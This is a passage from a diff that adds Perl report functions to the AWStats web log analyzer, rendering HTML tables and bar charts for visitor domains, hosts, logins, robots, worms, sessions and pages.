my $bredde_v = 0; + if ( $max_h > 0 ) { + $bredde_p = + int( $BarWidth * $_domener_p{$key} / $max_h ) + 1; + } # use max_h to enable to compare pages with hits + if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; } + if ( $max_h > 0 ) { + $bredde_h = + int( $BarWidth * $_domener_h{$key} / $max_h ) + 1; + } + if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; } + if ( $max_k > 0 ) { + $bredde_k = + int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) + + 1; + } + if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; } + my $newkey = lc($key); + if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) { + print +"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\"" + . AltTitle("$Message[0]") + . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>"; + } + else { + print +"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\"" + . AltTitle("$newkey") + . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>"; + } + ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE + if ( $ShowDomainsStats =~ /U/i ) { + $_domener_u = ( + $_domener_p{$key} + ? $_domener_p{$key} / $TotalPages + : 0 + ); + $_domener_u += ( $_domener_h{$key} / $TotalHits ); + $_domener_u = + sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 ); + print "<td>".Format_Number($_domener_u)." (" + . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique ) + . ")</td>"; + } + if ( $ShowDomainsStats =~ /V/i ) { + $_domener_v = ( + $_domener_p{$key} + ? $_domener_p{$key} / $TotalPages + : 0 + ); + $_domener_v += ( $_domener_h{$key} / $TotalHits ); + $_domener_v = + sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 ); + print "<td>".Format_Number($_domener_v)." (" + . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits ) + . ")</td>"; + } + + if ( $ShowDomainsStats =~ /P/i ) { + print "<td>" + . ( $_domener_p{$key} ? Format_Number($_domener_p{$key}) : ' ' ) + . "</td>"; + } + if ( $ShowDomainsStats =~ /H/i ) { + print "<td>".Format_Number($_domener_h{$key})."</td>"; + } + if ( $ShowDomainsStats =~ /B/i ) { + print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>"; + } + print "<td class=\"aws\">"; + + if ( $ShowDomainsStats =~ /P/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\"" + . AltTitle("") + . " /><br />\n"; + } + if ( $ShowDomainsStats =~ /H/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\"" + . AltTitle("") + . " /><br />\n"; + } + if ( $ShowDomainsStats =~ /B/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\"" + . AltTitle("") . " />"; + } + print "</td>"; + print "</tr>\n"; + + $total_u += $_domener_u; + $total_v += $_domener_v; + $total_p += $_domener_p{$key}; + $total_h += $_domener_h{$key}; + $total_k += $_domener_k{$key} || 0; + $count++; + } + my $rest_u = $TotalUnique - $total_u; + my $rest_v = $TotalVisits - $total_v; + my $rest_p = $TotalPages - $total_p; + my $rest_h = $TotalHits - $total_h; + my $rest_k = $TotalBytes - $total_k; + if ( $rest_u > 0 + || $rest_v > 0 + || $rest_p > 0 + || $rest_h > 0 + || $rest_k > 0 ) + { # All other domains (known or not) + print +"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; } + if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; } + if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; } + if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; } + if ( $ShowDomainsStats =~ /B/i ) { + print "<td>" . Format_Bytes($rest_k) . "</td>"; + } + print "<td class=\"aws\"> </td>"; + print "</tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the hosts chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainHosts{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowHostsStats", 2 ); } + print "$Center<a name=\"visitors\"> </a><br />\n"; + my $title = +"$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=allhosts") + : "$StaticLinks.allhosts.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a> - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=lasthosts") + : "$StaticLinks.lasthosts.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[9]</a> - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=unknownip") + : "$StaticLinks.unknownip.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[45]</a>"; + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=VISITOR&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 19, 0, 'visitors' ); + + &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h, + \%_host_p ); + + # Graph the top five in a pie chart + if (scalar @keylist > 1){ + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + my @valdata = (); + my @valcolor = ($color_p); + my $cnt = 0; + foreach my $key (@keylist) { + push @valdata, int( $_host_h{$key} / $TotalHits * 1000 ) / 10; + push @blocklabel, "$key"; + $cnt++; + if ($cnt > 4) { last; } + } + print "<tr><td colspan=\"7\">"; + my $function = "ShowGraph_$pluginname"; + &$function( + "Hosts", "hosts", + 0, \@blocklabel, + 0, \@valcolor, + 0, 0, + 0, \@valdata + ); + print "</td></tr>"; + } + } + + print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; + print "<th>"; + if ( $MonthRequired ne 'all' ) { + print +"$Message[81] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1]<br />".Format_Number($TotalUnique)." $Message[11]</th>"; + } + else { + print "$Message[81] : " . ( scalar keys %_host_h ) . "</th>"; + } + &HTMLShowHostInfo('__title__'); + if ( $ShowHostsStats =~ /P/i ) { + print "<th bgcolor=\"#$color_p\" width=\"80\"" + . Tooltip(3) + . ">$Message[56]</th>"; + } + if ( $ShowHostsStats =~ /H/i ) { + print "<th bgcolor=\"#$color_h\" width=\"80\"" + . Tooltip(4) + . ">$Message[57]</th>"; + } + if ( $ShowHostsStats =~ /B/i ) { + print "<th bgcolor=\"#$color_k\" width=\"80\"" + . Tooltip(5) + . ">$Message[75]</th>"; + } + if ( $ShowHostsStats =~ /L/i ) { + print "<th width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + my $total_p = my $total_h = my $total_k = 0; + my $count = 0; + + foreach my $key (@keylist) { + print "<tr>"; + print "<td class=\"aws\">$key</td>"; + &HTMLShowHostInfo($key); + if ( $ShowHostsStats =~ /P/i ) { + print '<td>' . ( Format_Number($_host_p{$key}) || " " ) . '</td>'; + } + if ( $ShowHostsStats =~ /H/i ) { + print "<td>".Format_Number($_host_h{$key})."</td>"; + } + if ( $ShowHostsStats =~ /B/i ) { + print '<td>' . Format_Bytes( $_host_k{$key} ) . '</td>'; + } + if ( $ShowHostsStats =~ /L/i ) { + print '<td nowrap="nowrap">' + . ( + $_host_l{$key} + ? Format_Date( $_host_l{$key}, 1 ) + : '-' + ) + . '</td>'; + } + print "</tr>\n"; + $total_p += $_host_p{$key}; + $total_h += $_host_h{$key}; + $total_k += $_host_k{$key} || 0; + $count++; + } + my $rest_p = $TotalPages - $total_p; + my $rest_h = $TotalHits - $total_h; + my $rest_k = $TotalBytes - $total_k; + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) + { # All other visitors (known or not) + print "<tr>"; + print +"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + &HTMLShowHostInfo(''); + if ( $ShowHostsStats =~ /P/i ) { print "<td>".Format_Number($rest_p)."</td>"; } + if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } + if ( $ShowHostsStats =~ /B/i ) { + print "<td>" . Format_Bytes($rest_k) . "</td>"; + } + if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the logins chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainLogins{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowAuthenticatedUsers", 2 ); } + print "$Center<a name=\"logins\"> </a><br />\n"; + my $title = +"$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=alllogins") + : "$StaticLinks.alllogins.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>"; + if ( $ShowAuthenticatedUsers =~ /L/i ) { + $title .= " - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=lastlogins") + : "$StaticLinks.lastlogins.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[9]</a>"; + } + &tab_head( "$title", 19, 0, 'logins' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : " + . Format_Number(( scalar keys %_login_h )) . "</th>"; + &HTMLShowUserInfo('__title__'); + if ( $ShowAuthenticatedUsers =~ /P/i ) { + print "<th bgcolor=\"#$color_p\" width=\"80\"" + . Tooltip(3) + . ">$Message[56]</th>"; + } + if ( $ShowAuthenticatedUsers =~ /H/i ) { + print "<th bgcolor=\"#$color_h\" width=\"80\"" + . Tooltip(4) + . ">$Message[57]</th>"; + } + if ( $ShowAuthenticatedUsers =~ /B/i ) { + print "<th bgcolor=\"#$color_k\" width=\"80\"" + . Tooltip(5) + . ">$Message[75]</th>"; + } + if ( $ShowAuthenticatedUsers =~ /L/i ) { + print "<th width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + my $total_p = my $total_h = my $total_k = 0; + my $max_h = 1; + foreach ( values %_login_h ) { + if ( $_ > $max_h ) { $max_h = $_; } + } + my $max_k = 1; + foreach ( values %_login_k ) { + if ( $_ > $max_k ) { $max_k = $_; } + } + my $count = 0; + &BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h, + \%_login_p ); + foreach my $key (@keylist) { + my $bredde_p = 0; + my $bredde_h = 0; + my $bredde_k = 0; + if ( $max_h > 0 ) { + $bredde_p = int( $BarWidth * $_login_p{$key} / $max_h ) + 1; + } # use max_h to enable to compare pages with hits + if ( $max_h > 0 ) { + $bredde_h = int( $BarWidth * $_login_h{$key} / $max_h ) + 1; + } + if ( $max_k > 0 ) { + $bredde_k = int( $BarWidth * $_login_k{$key} / $max_k ) + 1; + } + print "<tr><td class=\"aws\">$key</td>"; + &HTMLShowUserInfo($key); + if ( $ShowAuthenticatedUsers =~ /P/i ) { + print "<td>" + . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " ) + . "</td>"; + } + if ( $ShowAuthenticatedUsers =~ /H/i ) { + print "<td>".Format_Number($_login_h{$key})."</td>"; + } + if ( $ShowAuthenticatedUsers =~ /B/i ) { + print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>"; + } + if ( $ShowAuthenticatedUsers =~ /L/i ) { + print "<td>" + . ( + $_login_l{$key} + ? Format_Date( $_login_l{$key}, 1 ) + : '-' + ) + . "</td>"; + } + print "</tr>\n"; + $total_p += $_login_p{$key}; + $total_h += $_login_h{$key}; + $total_k += $_login_k{$key}; + $count++; + } + my $rest_p = $TotalPages - $total_p; + my $rest_h = $TotalHits - $total_h; + my $rest_k = $TotalBytes - $total_k; + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) + { # All other logins + print + "<tr><td class=\"aws\"><span style=\"color: #$color_other\">" + . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) + . "$Message[125]" + . ( $PageDir eq 'rtl' ? "</span>" : "" ) + . "</span></td>"; + &HTMLShowUserInfo(''); + if ( $ShowAuthenticatedUsers =~ /P/i ) { + print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; + } + if ( $ShowAuthenticatedUsers =~ /H/i ) { + print "<td>".Format_Number($rest_h)."</td>"; + } + if ( $ShowAuthenticatedUsers =~ /B/i ) { + print "<td>" . Format_Bytes($rest_k) . "</td>"; + } + if ( $ShowAuthenticatedUsers =~ /L/i ) { + print "<td> </td>"; + } + print "</tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the robots chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainRobots{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { debug( "ShowRobotStats", 2 ); } + print "$Center<a name=\"robots\"> </a><br />\n"; + + my $title = "$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=allrobots") + : "$StaticLinks.allrobots.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a> - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=lastrobots") + : "$StaticLinks.lastrobots.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[9]</a>"; + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=ROBOT&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 19, 0, 'robots'); + + print "<tr bgcolor=\"#$color_TableBGRowTitle\"" + . Tooltip(16) . "><th>" + . Format_Number(( scalar keys %_robot_h )) + . " $Message[51]*</th>"; + if ( $ShowRobotsStats =~ /H/i ) { + print + "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ShowRobotsStats =~ /B/i ) { + print + "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + } + if ( $ShowRobotsStats =~ /L/i ) { + print "<th width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + my $total_p = my $total_h = my $total_k = my $total_r = 0; + my $count = 0; + &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h, + \%_robot_h ); + foreach my $key (@keylist) { + print "<tr><td class=\"aws\">" + . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) + . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key ) + . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; + if ( $ShowRobotsStats =~ /H/i ) { + print "<td>" + . Format_Number(( $_robot_h{$key} - $_robot_r{$key} )) + . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>"; + } + if ( $ShowRobotsStats =~ /B/i ) { + print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>"; + } + if ( $ShowRobotsStats =~ /L/i ) { + print "<td>" + . ( + $_robot_l{$key} + ? Format_Date( $_robot_l{$key}, 1 ) + : '-' + ) + . "</td>"; + } + print "</tr>\n"; + + #$total_p += $_robot_p{$key}; + $total_h += $_robot_h{$key}; + $total_k += $_robot_k{$key} || 0; + $total_r += $_robot_r{$key} || 0; + $count++; + } + + # For bots we need to count Totals + my $TotalPagesRobots = + 0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; } + my $TotalHitsRobots = 0; + foreach ( values %_robot_h ) { $TotalHitsRobots += $_; } + my $TotalBytesRobots = 0; + foreach ( values %_robot_k ) { $TotalBytesRobots += $_; } + my $TotalRRobots = 0; + foreach ( values %_robot_r ) { $TotalRRobots += $_; } + my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p; + my $rest_h = $TotalHitsRobots - $total_h; + my $rest_k = $TotalBytesRobots - $total_k; + my $rest_r = $TotalRRobots - $total_r; + + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 ) + { # All other robots + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + if ( $ShowRobotsStats =~ /H/i ) { + print "<td>" + . Format_Number(( $rest_h - $rest_r )) + . ( $rest_r ? "+$rest_r" : "" ) . "</td>"; + } + if ( $ShowRobotsStats =~ /B/i ) { + print "<td>" . ( Format_Bytes($rest_k) ) . "</td>"; + } + if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end( + "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) ); +} + +#------------------------------------------------------------------------------ +# Function: Prints the worms chart and table +# Parameters: - +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainWorms{ + if ($Debug) { debug( "ShowWormsStats", 2 ); } + print "$Center<a name=\"worms\"> </a><br />\n"; + &tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})", + 19, 0, 'worms' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">"; + print "<th>" . Format_Number(( scalar keys %_worm_h )) . " $Message[164]*</th>"; + print "<th>$Message[167]</th>"; + if ( $ShowWormsStats =~ /H/i ) { + print + "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ShowWormsStats =~ /B/i ) { + print + "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + } + if ( $ShowWormsStats =~ /L/i ) { + print "<th width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + my $total_p = my $total_h = my $total_k = 0; + my $count = 0; + &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h, + \%_worm_h ); + foreach my $key (@keylist) { + print "<tr>"; + print "<td class=\"aws\">" + . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) + . ( $WormsHashLib{$key} ? $WormsHashLib{$key} : $key ) + . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; + print "<td class=\"aws\">" + . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) + . ( $WormsHashTarget{$key} ? $WormsHashTarget{$key} : $key ) + . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; + if ( $ShowWormsStats =~ /H/i ) { + print "<td>" . Format_Number($_worm_h{$key}) . "</td>"; + } + if ( $ShowWormsStats =~ /B/i ) { + print "<td>" . Format_Bytes( $_worm_k{$key} ) . "</td>"; + } + if ( $ShowWormsStats =~ /L/i ) { + print "<td>" + . ( + $_worm_l{$key} + ? Format_Date( $_worm_l{$key}, 1 ) + : '-' + ) + . "</td>"; + } + print "</tr>\n"; + + #$total_p += $_worm_p{$key}; + $total_h += $_worm_h{$key}; + $total_k += $_worm_k{$key} || 0; + $count++; + } + + # For worms we need to count Totals + my $TotalPagesWorms = + 0; #foreach (values %_worm_p) { $TotalPagesWorms+=$_; } + my $TotalHitsWorms = 0; + foreach ( values %_worm_h ) { $TotalHitsWorms += $_; } + my $TotalBytesWorms = 0; + foreach ( values %_worm_k ) { $TotalBytesWorms += $_; } + my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p; + my $rest_h = $TotalHitsWorms - $total_h; + my $rest_k = $TotalBytesWorms - $total_k; + + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other worms + print "<tr>"; + print +"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + print "<td class=\"aws\">-</td>"; + if ( $ShowWormsStats =~ /H/i ) { + print "<td>" . Format_Number(($rest_h)) . "</td>"; + } + if ( $ShowWormsStats =~ /B/i ) { + print "<td>" . ( Format_Bytes($rest_k) ) . "</td>"; + } + if ( $ShowWormsStats =~ /L/i ) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end("* $Message[158]"); +} + +#------------------------------------------------------------------------------ +# Function: Prints the sessions chart and table +# Parameters: - +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainSessions{ + if ($Debug) { debug( "ShowSessionsStats", 2 ); } + print "$Center<a name=\"sessions\"> </a><br />\n"; + my $title = "$Message[117]"; + &tab_head( $title, 19, 0, 'sessions' ); + my $Totals = 0; + my $average_s = 0; + foreach (@SessionsRange) { + $average_s += ( $_session{$_} || 0 ) * $SessionsAverage{$_}; + $Totals += $_session{$_} || 0; + } + if ($Totals) { $average_s = int( $average_s / $Totals ); } + else { $average_s = '?'; } + print "<tr bgcolor=\"#$color_TableBGRowTitle\"" + . Tooltip(1) + . "><th>$Message[10]: ".Format_Number($TotalVisits)." - $Message[96]: ".Format_Number($average_s)." s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; + $average_s = 0; + my $total_s = 0; + my $count = 0; + foreach my $key (@SessionsRange) { + my $p = 0; + if ($TotalVisits) { + $p = int( $_session{$key} / $TotalVisits * 1000 ) / 10; + } + $total_s += $_session{$key} || 0; + print "<tr><td class=\"aws\">$key</td>"; + print "<td>" + . ( $_session{$key} ? Format_Number($_session{$key}) : " " ) . "</td>"; + print "<td>" + . ( $_session{$key} ? "$p %" : " " ) . "</td>"; + print "</tr>\n"; + $count++; + } + my $rest_s = $TotalVisits - $total_s; + if ( $rest_s > 0 ) { # All others sessions + my $p = 0; + if ($TotalVisits) { + $p = int( $rest_s / $TotalVisits * 1000 ) / 10; + } + print "<tr" + . Tooltip(20) + . "><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; + print "<td>".Format_Number($rest_s)."</td>"; + print "<td>" . ( $rest_s ? "$p %" : " " ) . "</td>"; + print "</tr>\n"; + } + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the pages chart and table +# Parameters: $NewLinkParams, $NewLinkTarget +# Input: - +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainPages{ + my $NewLinkParams = shift; + my $NewLinkTarget = shift; + + if ($Debug) { + debug( +"ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)", + 2 + ); + } + my $regext = qr/\.(\w{1,6})$/; + print +"$Center<a name=\"urls\"> </a><a name=\"entry\"> </a><a name=\"exit\"> </a><br />\n"; + my $title = +"$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=urldetail") + : "$StaticLinks.urldetail.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[80]</a>"; + if ( $ShowPagesStats =~ /E/i ) { + $title .= " - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=urlentry") + : "$StaticLinks.urlentry.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[104]</a>"; + } + if ( $ShowPagesStats =~ /X/i ) { + $title .= " - <a href=\"" + . ( + $ENV{'GATEWAY_INTERFACE'} + || !$StaticLinks + ? XMLEncode("$AWScript${NewLinkParams}output=urlexit") + : "$StaticLinks.urlexit.$StaticExt" + ) + . "\"$NewLinkTarget>$Message[116]</a>"; + } + + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title .= " - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=SIDER&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 19, 0, 'urls' ); + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentPages)." $Message[28]</th>"; + if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { + print + "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>"; + } + if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { + print + "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ShowPagesStats =~ /B/i ) { + print + "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; + } + if ( $ShowPagesStats =~ /E/i ) { + print + "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>"; + } + if ( $ShowPagesStats =~ /X/i ) { + print + "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>"; + } + + # Call to plugins' function ShowPagesAddField + foreach + my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) + { + + # my $function="ShowPagesAddField_$pluginname('title')"; + # eval("$function"); + my $function = "ShowPagesAddField_$pluginname"; + &$function('title'); + } + print "<th> </th></tr>\n"; + my $total_p = my $total_e = my $total_x = my $total_k = 0; + my $max_p = 1; + my $max_k = 1; + my $count = 0; + &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p, + \%_url_p ); + foreach my $key (@keylist) { + if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; } + if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) { + $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 ); + } + } + foreach my $key (@keylist) { + print "<tr><td class=\"aws\">"; + &HTMLShowURLInfo($key); + print "</td>"; + my $bredde_p = 0; + my $bredde_e = 0; + my $bredde_x = 0; + my $bredde_k = 0; + if ( $max_p > 0 ) { + $bredde_p = + int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1; + } + if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; } + if ( $max_p > 0 ) { + $bredde_e = + int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1; + } + if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; } + if ( $max_p > 0 ) { + $bredde_x = + int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1; + } + if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; } + if ( $max_k > 0 ) { + $bredde_k = + int( $BarWidth * + ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) / + $max_k ) + 1; + } + if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; } + if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { + print "<td>".Format_Number($_url_p{$key})."</td>"; + } + if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { + print "<td>".Format_Number($_url_p{$key})."</td>"; + } + if ( $ShowPagesStats =~ /B/i ) { + print "<td>" + . ( + $_url_k{$key} + ? Format_Bytes( + $_url_k{$key} / ( $_url_p{$key} || 1 ) + ) + : " " + ) + . "</td>"; + } + if ( $ShowPagesStats =~ /E/i ) { + print "<td>" + . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>"; + } + if ( $ShowPagesStats =~ /X/i ) { + print "<td>" + . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>"; + } + + # Call to plugins' function ShowPagesAddField + foreach my $pluginname ( + keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) + { + + # my $function="ShowPagesAddField_$pluginname('$key')"; + # eval("$function"); + my $function = "ShowPagesAddField_$pluginname"; + &$function($key); + } + print "<td class=\"aws\">"; + if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\"" + . AltTitle("") + . " /><br />"; + } + if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\"" + . AltTitle("") + . " /><br />"; + } + if ( $ShowPagesStats =~ /B/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\"" + . AltTitle("") + . " /><br 